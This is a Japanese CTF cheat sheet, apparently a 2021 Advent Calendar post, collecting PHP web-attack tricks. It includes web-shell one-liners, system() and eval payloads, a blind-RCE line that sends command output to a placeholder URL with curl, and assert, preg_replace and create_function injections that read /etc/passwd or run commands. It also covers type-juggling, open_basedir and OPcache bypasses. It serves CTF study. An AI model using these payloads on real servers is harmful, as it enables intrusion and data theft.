この記事はCTFのWebセキュリティ Advent Calendar 2021の17日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
Webサーバのフロントエンド(最近はそうでもないか)、バックエンドとして普及しているPHPにはセキュリティ的課題が多い。
<?php eval($_POST['cmd']); ?>
となりうるコードがあると危険eval("echo ".eval("return ".$_GET["calc"].";").";");
CTFtime.org / TetCTF 2021 / Super Calc- 象徴的なコードreturnしたらevalの戻り値になって、それをechoしている例
- ワンライナー一覧
- RCE
passthru("cat /f*")
system("ls -la ./");
<?='cat /flag';
<?=`$_GET[0]`; ?>
<?php system($_GET["c"]); ?>
- ls
foreach(new DirectoryIterator('glob:///*') as $f){ echo $f."\n"; }
print_r(scandir('./'));
var_dump(scandir("/var/www/html"));
scandir(__dir__)
opendir()
readdir()
- cat
readfile(glob('*')[0]);
eval(system('cat / flag'));
show_source('./flag.txt');
- 試してない
file_get_contents('f1@g.txt')
- base64で出したい
var_dump(base64_encode(readfile("../../../flag.so")));
- includeで引っ張れたりもする
include '/etc/f1@g.txt';
$process = proc_open('/flag_x', array(1=>array("pipe","w")), $pipes); echo stream_get_contents($pipes[1]);
- 試してない
- 定義済み配列をすべて出す
print_r(get_defined_vars())
- ブラインドRCE
$output=shell_exec(\"ls\");shell_exec(\"curl -XPOST -d'data=$output' [url]"\");
ここ
- RCE
- phpファイルを動かすには
- XX.phpをアップロードする(.phpじゃない拡張子でやりたい場合は、.htaccessを書き換える)
-
<?php ... ?>
や<?=...?>
を作る - 実は色んな拡張子が使える .php .php3 .php4 .php5 .phtml
- .htaccessによって実行できないようにしているかも
- Disable PHP in a directory with Apache .htaccess | The Electric Toolbox Blog
- 以下のような記載があれば、(どれかがあれば、)実行を防げる
RemoveHandler .php .phtml .php3 RemoveType .php .phtml .php3 php_flag engine off
- artyuum/Simple-PHP-Web-Shell: Tiny PHP Web shell for executing unix commands from web page
- 便利なWebShell
- xorを使ったバイパス方法がある
eval("echo ".eval("return ".$_GET["calc"].";").";");
- こういう感じで1回実行されて、さらに実行されれば使える
- '^()が使えれば大体は作れる
('??????'^'??????'^'??????')
のように3つの文字列のxorで大体作れそう- pythonで全探索
- CTF-Writeup/README.md at main · vichhika/CTF-Writeup
- 良い感じのジェネレータを公開してくれてる
4*4
とか入れて16とか出てきたらプログラムとして解釈されている恐れがある- 試しに
system(ls)
とかを入れてみて、動くか見てみる
- 試しに
- source
- User-Agentから
- CTF-Writeups/HPNY.md at master · hrca-writeups/CTF-Writeups · GitHub
User-Agent: */ eval(system('[payload]')) /*
(eval(implode(getallheaders())))()
- こうやると、先頭末尾部分はコメントアウトされて、任意のコードが実行可能
- CTF-Writeups/HPNY.md at master · hrca-writeups/CTF-Writeups · GitHub
- User-Agentから
- 画像ファイルのヘッダーを見てアップロード可能かを決めてる場合にヘッダーだけ付け替えてバイパスする
eval("echo 'Hello ".$a."<br>$flag';");
で実行する',system('id'),'
でidで普通に実行できる',('system')('id'),'
こうしてもidが実行可能',('system')('id'+),'
- 他ペイロード
',('system')('ls+/'+),'
',('system')('od+/*'+),'
- 限られた文字でPHPコード実行をする
- st98さんがプロすぎる
- BSides Noida CTF 2021 writeup - st98 の日記帳 - コピー
- implode('',[chr(97),chr(98),chr(99)]) みたいな感じでフィルターを回避しつつ任意の文字列が作れるので、('passthru')('ls -la') みたいな感じでコマンドを実行する。
- [Bypass WAF] Php webshell without numbers and letters • Penetration Testing
- [PHP-CTF] No letter without digital webshell - Programmer Sought
- RCTF 2020 の write-up - st98 の日記帳
- Securinets CTF Quals 2021 の writeup - st98 の日記帳
- LFI: Local File Injection
- include先でechoしているものはechoされた後のコードで得られる
echo $_GET['a']; include($_GET['b']);
というindex.phpがあるとする。/index.php?b=http://localhost/index.php/?a=%3C?system(%22ls%22);?%3E
でRCE成立
- Unsafe Deserialization
- 外部からデシリアライズするデータを渡せるとき、意図しないクラスの意図しない状態のインスタンスを生成するテク 徳丸さん記事 OWASP
- 細かくは別途ページで記載予定。
- オブジェクトの変数(プロパティ)をインジェクションできる
- Remote code execution through unsafe unserialize in PHP
- PHPでも、Gadget chainがある
- シリアライズされたものに含めることができるのは変数だけ。変数を入れこむ感じでシリアライズする。
- protectedの変数の場合は変数名に特殊文字が入り込むので、シリアライズ化するときはurlencodeして取り出したほうが、おかしくなりにくい
- XXE
- simplexml_load_string関数
- SQL Injection
- PHP Type Juggling
- PHPの比較は弱いことが知られている
!strcasecmp($_POST['flag'], $flag)
,strcmp($_POST['password'], $password) == 0
- 実はバイパス可能
$_POST['flag'] = []
となるようにPOSTで与えてやれば、全体をtrueにすることができる- 配列を渡すには
flag%5B%5D=
こんな感じにすればいい(flag[]=
のURLエンコーディング後) - htmlでは
<input type="hidden" name="flag[]" value=""/>
こんな感じ
'1234a' == 1234
は真となる- でも
is_numeric('1234a')
はしっかりfalseなので、is_numericのバイパスに使える "1abc" == "0abc" + 1
も真(!) ここ
- でも
- magic hash
'0e????' = '0'
が成り立つ。左辺はMD5ハッシュで出てくる可能性があるので、ハッシュを調整してこの状態を作る問題がある- ?には0-9が入る必要がある
- この問題では、
./flag.txt
,.//flag.txt
,.///flag.txt
のようにスラッシュを増やしていっても問題ないことを利用してハッシュを変えて全探索していた- 881回スラッシュで出てきた
- magic hash一覧 https://github.com/spaze/hashes
- MD5
QNKCDZO
240610708
- SHA256
34250003024812
aaroZmOk
0e9682187459792981
- MD5
- 0は
0
も00
も.0
も
- parse_url関数
- バージョンによっては
http://websec.fr/level25/index.php?page=main&send=%E9%80%81%E4%BF%A1&a=1:2
が失敗する :
が値に入っていると失敗する。失敗すると、戻り値がnullになる
- バージョンによっては
$_SERVER['PHP_SELF']
とbasename関数- Injection可能 $_SERVER['PHP_SELF']は危険? - [PHP + PHP] ぺんたん info
- basename関数は、localeを適切に設定しないと、マルチバイト文字を無視する仕様になっている
- より具体的には
\x80-\xff
を無視する?
- より具体的には
- 以下実験メモ
http://localhost/index.php/config.php
$_SERVER['PHP_SELF'] = /index.php/config.php
basename($_SERVER['PHP_SELF']) = config.php
http://localhost/index.php/config.php/a
$_SERVER['PHP_SELF'] = /index.php/config.php/a
basename($_SERVER['PHP_SELF']) = a
http://localhost/index.php/config.php/あ?source
※ %E3%81%82 = あ$_SERVER['PHP_SELF'] = /index.php/config.php/あ
basename($_SERVER['PHP_SELF']) = config.php
$address = filter_var($address, FILTER_VALIDATE_EMAIL);
でメールアドレスチェック""@a.b
とすると通る- 例えば
"'
whoami'"@example.com
とすると、whoamiが解釈されて"markus"@example.com
となったりする '||1#@i.i
もvalid(SQLinjectionで成功する)- RCEもある
"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.co
こんな感じ?ちょっと分からない
- エラーについて
- エラーを出したいとき(未検証)
error_reporting(E_ALL);
ini_set('error_reporting', E_ALL);
ini_set('display_errors', '1');
- エラーを表示させない
ini_set("display_errors", 0);
- エラーを出したいとき(未検証)
- GETリクエストの解釈違い
?username=abc&username=efg
となった場合$_GET["username"]
->efg
new URL(location).searchParams.get("username")
->abc
- PHPでリダイレクトをしたらdie,exitを呼び出しなさい
- Safely handling redirects with die() and exit() in PHP | Acunetix
- リダイレクト呼び出しをしても終了処理をしないと、後ろの部分は処理されて、場合によっては応答としてユーザーに渡されてしまう
- dieとexitのどっちがいいか?という話 PHP: Utilizing exit(); or die(); after header("Location: "); - Stack Overflow
- どっちでもよさそうなので、正常系処理ならexit(0)としとけばいいんじゃないかな?
- PHPのgetパラメタ配列化Attack
- CTFtime.org / Chujowy CTF 2020 / SHA256 Collision
https://web5.chujowyc.tf/?a[]=0&b[]=1
で突破可能$ha = hash("sha256", $_GET['a']); // $ha === null
$_GET['a'] !== $_GET['b']
のように配列の===比較では中身までちゃんと見てくれる
- CTFtime.org / Chujowy CTF 2020 / SHA256 Collision
- .user.ini
- ob_start関数
- バッファを一旦保持しておいて、決まったタイミングでflushする機構
- ob_startで保持されたバッファは、fatal errorが発生すれば強制的にflushされたりする
- CTFtime.org / 3kCTF-2020 / xsser
- この問題では、unserialize関数で
O:11:"Traversable":0:{}
を入れてfatal errorを起こしていた- Traversableクラスは抽象クラスなので、抽象クラスを作ろうとしてfatal errorが出てくる
- is_numeric
- 数値の前に%09, %20,%0a,%0b,%0c,%0dが来てもtrueになる
- trueになるやつ
1e9
- preg_replace関数/str_replace
- 1回しかreplaceしないので、selSELECTectみたいにすればバイパスされてしまう
- preg_replaceに任意入力できる場合はRCEの危険性がある
- Command Execution | preg_replace() | RCE | Roshan Cheriyan | Medium | Medium
echo "replaced : ".preg_replace($_GET['pattern'], $_GET['replacement'], $_GET['subject']);
となってる場合index.php?pat=/a/e&rep=phpinfo();&sub=abc
とやればphpinfo();が実行されるindex.php?pat=/a/e&rep=system(‘id’);&sub=abc
- 平たく言うと
preg_replace("/a/e", "system(‘id’);", "abc");
となる
- 平たく言うと
- 緩和策も書いてある
- Command Execution | preg_replace() | RCE | Roshan Cheriyan | Medium | Medium
- md5関数の誤用
"select * from Users where pw='" . md5(%ps, true) . "'"
というリクエスト作成方法について- md5の第二引数にtrueがあると、ハッシュ値をhex文字列ではなくバイナリで返してくれる
- バイナリなので、任意のascii文字列になるように原文を探して送れば、SQLiとかが可能 안경잡이개발자 :: [해킹 대회 문제] wargame.kr - md5 password 문제풀이(Write Up)
- 上の例だと
'='
が含まれればいい。3文字くらいなら即見つかるけど、7文字にしたら途端に見つからなくなった
$_SERVER['HTTP_X_FORWARDED_FOR']
- リクエストHTTPのヘッダーで外部から自由にインジェクション可能
X-Forwarded-For
ヘッダーで入れればいい
time()
- Unixタイムスタンプを返すので、類推可能
- 例えば、
2020/11/18 20:54:21(JST)
なら$time = (new DateTime('2020-11-18 20:54:21', new DateTimeZone('Asia/Tokyo')))->format('U');
でUnixタイムスタンプが得られる - ID推測とかで使用するときは、Burpに残ってる時間ピッタリだけでなく、周りの時間が使われている可能性も考えること(秒単位でクライアント・サーバが一致していないかも)
- CTFtime.org / SPbCTF's Student CTF 2020 Quals / eSick
- この問題では、timeとuuidからファイル名を類推するが、timeがどれかが微妙にわからないので候補を全部作って、BurpのIntruderを使ってヒットするものがないか探す
- mysqli_real_escape_string
- PHP: mysqli::real_escape_string - Manual
NUL (ASCII 0), \n, \r, \, ', ", および Control-Z
がエスケープされる
- PHP: mysqli::real_escape_string - Manual
- バイパステク:他の入力を持ってくる
- 0xL4ughCTF-write-up. Hi , My name is Ahmed Magdy | by Ahmed Magdy | Jan, 2021 | Medium
- ヘッダーから持ってくる
Flag: fl@g.php
を入れてshow_source(end(getallheaders()))
Flag: fl@g.php
を入れてshow_source(array_pop(getallheaders()))
- 0xL4ughCTF-write-up. Hi , My name is Ahmed Magdy | by Ahmed Magdy | Jan, 2021 | Medium
- 攻撃コードに書いてあったコードについて
error_reporting(0);
エラーを出さないset_time_limit(0);
実行時間を無限にする- 設定は上書きされるっぽいので、設定でなんとかするのは難しそう
- バッファを使い切ってHeader出力を抑制するテク
- Write-ups to justCTF [*] 2020 by @terjanq - HackMD
- PHPではheader出力の前に画面出力をしてはならないのだが、バッファ機能が有効である場合、画面出力のあとにheader出力をしてもバッファしてあれば差し込むことができる
- だが、header出力をして差し込む前に、バッファのサイズ上限まで出力されていた場合は容量不足で差し込むことができず、headerが消滅する
- このwriteupでは、それを利用してCSPヘッダーを差し込ませないようにしている
- バッファのサイズ上限まで出力させるには、エラーメッセージを用いている
- $_SERVER
- REQUEST_URI
- ページにアクセスするために指定されたURIを指すので、
GET http://localhost/test.php?query=value#fragment HTTP/1.1
みたいにするとhttp://localhost/test.php?query=value#fragment
となる
- HTTP_HOST
- リクエストにHostヘッダーがあった場合にそれが入る。偽装可能
- REQUEST_URI
- GET Parameterのkeyにdot,spaceを入れると、underscoreに自動変換される
- Insomni’Hack 2018 - PHuck | Tipi’Hack CTF team
- Winja CTF 2021 // Tom Plant
- 変数名として使えないから_に変換するということらしい…
- 例えば
?.=XXX
みたいにするとstrpos($_SERVER['REQUEST_URI'],"_") === false
となるけれど、$_GET["_"] === "XXX"
となる
- 例えば
- 古いPHPだと結構ヌルバイト攻撃が有効っぽい(未確定)
- PHPでトークン生成には単にCSPRING(暗号論的に安全な疑似乱数生成装置)を使うこと
- ハッシュ化するとか余計なことをすることで脆弱性が入り込みやすくなる
- PHP7以降ではrandom_bytes関数を使うだけ
- mt_rand関数を引数無しで呼ぶと、31ビットの範囲になるからエントロピーが不足する(128bits以上がデファクトスタンダード)
- PHP assert() Vulnerable to Local File Inclusion – All things in moderation
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
assert("strpos('', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
- $file =
', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1
をやった結果
- $file =
- NahamCon CTF 2021 - Capture The Flag (CTF)
assert("strpos('$file', '..') === false") or die("HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE");
に' .system("id"). '
を入れる
.phps
はPHPのソースコードファイルとして使える拡張子<FilesMatch "\.phps$">SetHandler application/x-httpd-php-source</FilesMatch>
- PHPを利用するためのApacheの設定 | XAMPPの使い方
- open_basedirのバイパス手法
new finfo(1, '.');
とやればとあるディレクトリ下のファイルを無理やり読み込ませて、エラー情報から内容を得ることができる- Securinets CTF Quals 2021 の writeup - st98 の日記帳
- finfo __constructでmagic_fileというオプションがmagic database fileを取得するために、特定のディレクトリにあるすべてのファイルを解析してくるようだ。ここmagic_fileオプション別のパスを与えると解析してくるファイルのフォーマットが合わず、警告を使用してファイルの内容を出力してくれるようだ。ちなみにfinfo classはfinfo関数のオブジェクト
- まあ実行すると、全部解析してくれて、フォーマットが合わないから警告が出るけど、そこに情報が出ちゃうからファイルパスが抜けるんだろう
$_REQUEST
は$_GET
,$_POST
,$_COOKIE
の内容をまとめた連想配列- こういういろんな所からデータ取れるものは意図せずデータインジェクションが発生しうるので使うのはやめといたほうがいい
- idn_to_ascii
- create_function関数
- nkzlxs_ctf_writeups/shakticon2021/web at master · Nkzlxs/nkzlxs_ctf_writeups · GitHub
}printf("printed some stuff!");function a(){
で刺さる
- PHP 5.2.6 - 'create_function()' Code Injection (2) - PHP remote Exploit
$unused = create_function('','return -1 * var_dump($a[""]);}phpinfo();/*"]');
みたいに第二引数に指定のルールで入れると発動
- nkzlxs_ctf_writeups/shakticon2021/web at master · Nkzlxs/nkzlxs_ctf_writeups · GitHub
- mail関数を使ったbypassテク
- glob関数は先頭がドットのファイルは取ってこないので、
foreach (glob("temp/$dname/*") as $file) { @unlink($file); }
こういうので削除を回避できる @rmdir("temp/$dname");
は中身に何か残ってたら失敗する@move_uploaded_file
関数は引数のパスが長いと失敗する。300文字くらいで失敗するらしい- FFIについて
- OPcache
- PHPのキャッシュ機構
- 攻撃手法
- phpinfoを見て、opcacheが有効か確認
-
opcache.file_cache = /var/www/cache/
ならば/var/www/cache/[system_id]/var/www/html/flag.php.bin
を探せばいい。 - これのsystem_id_scraper.pyを使ってsystem_idを抜き出す
python ./system_id_scraper.py http://carthagods.3k.ctf.to:8039/info.php
- CTFtime.org / 3kCTF-2020 / carthagods
- Phar, PHPアーカイブ
phpinfo
- 見方
- System: OSがWindowsかLinuxか
- Registered PHP Streams, Registered Stream Filters: 使えるストリームが分かる(php://とか)
- extension_dir: php拡張モジュールのパス(いつ使う?)
- short_open_tag:
<?=
,<? echo
,<? ?>
が使えるかどうか - disable_functions: 使えない関数が列挙されている
- disable_classes: 使えないクラスが列挙されている
これをもとに使える関数・クラスを得たい場合は手元で全部使える状態で使えるやつを抜き出してdiffを見ればいい ```php <?php function get_diff($a, $b) { $a = file_get_contents($a); $a = str_replace(' ', '', $a); $a = explode(',', $a);
return implode(', ', array_diff($b, $a)) . "\n"; }
echo "functions: " . get_diff('disable_functions.txt', get_defined_functions()['internal']); echo "classes: " . get_diff('disable_classes.txt', get_declared_classes()); ```
- open_basedir
- ここにフォルダパスが書かれている場合は、ファイルオープンはこのパス以下じゃないとダメ。
- でも、
DirectoryIterator
を使えば任意の場所のlsができる。 FFI::load
もこれの影響を受けない。
- SERVER_ADDR: サーバのIPアドレス
- DOCUMENT_ROOT: ルートディレクトリ
- linuxなら
/var/www/html
が普通?
- linuxなら
- session: セッションの設定が見られる(todo: 観点は?)
- セッションが保存されている場所や使用可能な場所を確認することができる
- gopher: これがあればSSRFできるかも
- fastcgiが有効になってればRCEとかできたりする(todo: どうやって確認?)
- allow_url_include: 有効ならLFIできる?(よくわかってない)
- allow_url_fopen: 有効ならLFIできる?(よくわかってない)
- urlで外部ファイルをfopenできるってだけ?
- REMOTE FILE INCLUSIONというらしい
- asp_tags: aspタグを解析するために有効になっている
- magic_quotes_gpc: adslashes() のような文字をエスケープ
- libxml 2.9 より前のバージョンでは、外部エンティティへの参照をデフォルトでサポートしていたため、XXEできる
- opcacheはPHPコードをコンパイルしてキャッシュしておくもの
- 有効でファイルアップロードできれば、キャッシュポイズニングができるかも
- サーバーファイルと同じ名前のローカルファイルを生成し、キャッシュファイル xx.php.binを生成すればいい
- GoSecure/php7-opcache-override: Security-related PHP7 OPcache abuse tools and demo
- 有用なレポジトリ
- imapが有効なら、CVE-2018-19518かも
- upload_tmp_dir: 一時ファイルが保存されているフォルダが表示されますが、ファイル名はランダム
- 参考
- php.iniのスキャナー
PHP難読化
- YAK Pro
<?php goto IF8nM; xf_W1: FNJF5: goto C3HKQ; FwMGj: echo $GPDVR; goto Caizj; rOdKz: r9mi3: goto EDaji;
こんな感じになる。根性で解読する。